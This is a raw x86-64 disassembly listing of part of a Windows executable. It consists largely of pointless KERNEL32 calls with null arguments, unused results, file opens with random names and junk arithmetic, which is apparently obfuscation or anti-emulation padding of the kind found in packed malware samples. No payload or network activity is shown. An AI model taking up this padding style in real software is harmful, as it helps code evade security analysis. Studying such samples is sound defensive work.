call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cf0], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b58], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x9f28]
mov rax, qword [rax]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8290], rax
lea rcx, [rsp + 0x1a8e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xa2a0]
movzx eax, byte [rax]
mov byte [rsp + 0x2b6], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [rsp + 0x420c]
mov ecx, dword [rsp + 0x4358]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
lea rcx, [rsp + 0x1a8b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xab30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
add eax, ecx
mov word [rsp + 0x6b4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.2TTNcyWxc3yFDo_vA357m_tZVpCHbJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov dword [rsp + 0x46d4], eax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a34], eax
mov rax, qword [rsp + 0xab18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfa4]
sub eax, ecx
mov word [0x14024f23a], ax
lea rdx, [rsp + 0xac08]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b58], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa3f0]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a8e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x207c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4914], eax
movzx eax, byte [rsp + 0x279]
mov byte [rsp + 0x2b7], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0x9000]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c8c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac10], rax
mov rcx, qword [rsp + 0xa8c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x47a0], eax
mov rax, qword [rsp + 0xa4f0]
mov rcx, qword [rsp + 0x7ed0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ab0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, byte [rsp + 0x257]
mov rcx, qword [rsp + 0xa898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x88], al
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [0x140232aa0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x134c], ax
movsx eax, word [rsp + 0xf90]
movsx ecx, word [rsp + 0xc08]
shl eax, cl
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
mov eax, dword [0x14022fb68]
mov rcx, qword [rsp + 0xa6f8]
mov qword [rsp + 0xac18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac18]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e50]
movzx eax, byte [rax]
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0xa858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c4]
xor eax, ecx
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x485c]
or ecx, eax
mov eax, ecx
mov dword [0x14022fbb4], eax
movzx ecx, word [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1048], ax
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
lea rax, [rsp + 0x9aa0]
mov qword [rsp + 0xac20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.Qr8wRyj14Xjg4Srog
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xa170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1138]
and eax, ecx
mov word [rsp + 0x10cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12f4], ax
mov rax, qword [0x14024f1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a2]
imul eax, ecx
mov rcx, qword [rsp + 0xabe0]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.WLBpoGl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xac30], rax
lea rax, [rsp + 0x4b60]
mov qword [rsp + 0xac38], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xa538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8b0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rax, [rsp + 0x4648]
mov qword [rsp + 0xac40], rax
mov dword [rsp + 0x20], 0x149b
mov r9d, 0x3f61
mov r8d, 0x3ff
mov edx, 0x305c
mov rcx, qword [rsp + 0xa5e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4cf4], eax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
add eax, ecx
mov word [rsp + 0x658], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rcx, qword [rsp + 0x99f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x7b18]
mov qword [rsp + 0xac48], rax
movzx ecx, word [rsp + 0x1054]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1350], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx eax, word [rsp + 0x11c4]
mov rcx, qword [rsp + 0xab18]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x6ec], ax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1354], ax
lea rcx, [rsp + 0xa5a8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xac38]
mov eax, dword [rax]
mov dword [0x14024f1a4], eax
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x1a3]
and eax, ecx
mov rcx, qword [rsp + 0xa270]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4b64], eax
lea rax, [0x14022fb60]
mov qword [rsp + 0xac50], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xabc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa958], rax
mov r9d, 2
lea r8, [rsp + 0xa4a0]
mov rdx, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bb8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x1412
mov r9d, 0x13cd
mov r8d, 0x13f4
mov edx, 0x10ef
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x46f4], eax
lea rdx, [rsp + 0xac58]
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4940], eax
lea rax, [rsp + 0x4140]
mov qword [rsp + 0xac60], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rdx, [rsp + 0x9790]
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4af8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
mov r9d, 2
lea r8, [rsp + 0x9dd8]
mov rdx, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4950], eax
mov rax, qword [rsp + 0x97d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b1], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movsx eax, word [rsp + 0x658]
movsx ecx, word [rsp + 0x998]
sub eax, ecx
mov rcx, qword [rsp + 0xa2b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0d8]
mov eax, dword [rax]
mov dword [rsp + 0x4cf8], eax
movzx eax, byte [rsp + 0x14c]
mov rcx, qword [0x14024f280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17c], al
lea rcx, str.WbT1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1358], ax
movzx eax, word [rsp + 0x111c]
movzx ecx, word [rsp + 0x6fc]
sub eax, ecx
mov word [0x14024f1d8], ax
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa500]
mov rcx, qword [rsp + 0xa158]
mov qword [rsp + 0xac70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x82e8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9720]
mov rax, qword [rax]
mov rcx, qword [0x14022fb60]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9548]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a8b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa058]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10d], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0x29e]
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xa940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xab60]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe44], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x8cc
mov r9d, 0x5e8
mov r8d, 0x14fc
mov edx, 0x264a
mov rcx, qword [rsp + 0xa938]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4c6c], eax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x99b8]
mov qword [rsp + 0xac80], rax
lea rcx, str.k3noUhp
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1304], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.VEYy24KETIKQsxSxoWbpDPauEe7m
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xac88], rax
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac60]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rdx, [rsp + 0x9968]
mov rcx, qword [rsp + 0xa2d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0xa2c8]
mov rcx, qword [rsp + 0xaa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xac90], rax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov word [0x14024f1a2], ax
lea rcx, [rsp + 0x9908]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14024f340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f94], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
mov rax, qword [rsp + 0xabb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a4], ax
movzx ecx, word [rsp + 0x122c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b0], ax
lea rax, [rsp + 0x270]
mov qword [rsp + 0xac98], rax
lea rcx, [rsp + 0x1a918]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa248]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4890], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xa588]
movzx eax, byte [rax]
mov byte [rsp + 0x2b9], al
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x940]
imul eax, eax, 0x692
mov word [rsp + 0x1188], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [0x14024f300]
movzx ecx, word [rsp + 0xb9c]
and eax, ecx
mov rcx, qword [rsp + 0x9860]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0xead
mov r8d, 5
mov edx, 0x1d
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4cfc], eax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x2ba], al
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4880]
add ecx, eax
mov eax, ecx
mov dword [0x14022fb70], eax
mov rax, qword [rsp + 0xabf8]
mov rax, qword [rax]
mov rcx, qword [0x14024f3c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8248], rax
movzx ecx, word [rsp + 0x127c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1080], ax
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x211e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d00], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0x89c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7920], rax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1298], ax
mov rax, qword [0x14022fb60]
mov rcx, qword [rsp + 0xa500]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa910]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaca0], rax
mov rax, qword [rsp + 0x8658]
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0xa6b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a8]
xor eax, ecx
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0xa850]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x96a8]
mov qword [rsp + 0xacb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xacb0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4414], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
lea rcx, str.jD_xSFQo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0xab60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1118], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacb8], rax
mov rax, qword [rsp + 0xa878]
mov rcx, qword [rsp + 0xa5f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022fb74], eax
movzx eax, byte [rsp + 0xee]
imul eax, eax, 0x2e
mov byte [rsp + 0x298], al
mov eax, dword [rsp + 0x46e8]
mov dword [rsp + 0x4d04], eax
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, word [rsp + 0x1194]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd0], ax
lea rax, [rsp + 0x26f]
mov qword [rsp + 0xacc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xe44]
movsx ecx, word [0x14024f3be]
sub eax, ecx
mov rcx, qword [rsp + 0x9fb0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xf30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b0], ax
mov eax, dword [rsp + 0x420c]
mov ecx, dword [rsp + 0x3e5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4668], eax
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0xacc8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacd0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov r9d, 0x72
xor r8d, r8d
lea rdx, [rsp + 0x8d00]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b0c], eax
lea rcx, [rsp + 0xacd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x14024f3c0]
mov rcx, qword [rsp + 0x9ab0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bc8], rax
movzx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14022133f], al
lea rax, [rsp + 0x4750]
mov qword [rsp + 0xace0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0xa8f0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x10cc], ax
mov r9d, 1
lea r8, [rsp + 0xa580]
mov rdx, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa528]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ae0], eax
lea rcx, str.c_EhYIXWJ6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x135c], ax
lea rax, [rsp + 0x8138]
mov qword [rsp + 0xace8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x8960]
mov rcx, qword [rsp + 0x9c18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x98b8], rax
movsx eax, byte [rsp + 0x29a]
mov rcx, qword [rsp + 0x9e00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9748]
mov byte [rcx], al
mov rax, qword [rsp + 0xab60]
movzx eax, word [rax]
mov word [rsp + 0x1360], ax
movzx ecx, word [rsp + 0x1260]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4864]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4478], eax
lea rax, [rsp + 0x1a2]
mov qword [rsp + 0xacf0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
lea rcx, str.BkU5_SG0IB_WecJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1364], ax
mov dword [rsp + 0x20], 0x3968
mov r9d, 0x2d38
mov r8d, 0x7ac
mov edx, 0x68c
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a9c], eax
mov rax, qword [rsp + 0xa858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf98]
add eax, ecx
mov word [0x14022fbb0], ax
movzx ecx, word [rsp + 0x1014]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xacf8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x9f98]
mov ecx, dword [rsp + 0x4a1c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x44c4], eax
lea rdx, [rsp + 0xa678]
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aa4], eax
lea rcx, str.F1_F0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0x9af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f28]
mov qword [rsp + 0xad00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad00]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x84c0], rax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x9bc8]
mov qword [rsp + 0x8660], rax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov dword [rsp + 0x464c], eax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.jd9MPjokPKagr0Dx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xad08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, word [rsp + 0xf84]
mov word [rsp + 0x136c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf34], ax
movsx eax, byte [rsp + 0x2ac]
mov rcx, qword [rsp + 0xa488]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a7], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xad10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa248]
mov qword [rsp + 0xad18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad18]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9c00]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9600], rax
mov rcx, qword [rsp + 0xa608]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x10bc]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x704], ax
movzx eax, byte [rsp + 0x2ae]
mov byte [0x14024f1a0], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
mov rax, qword [rsp + 0xa910]
mov rax, qword [rax]
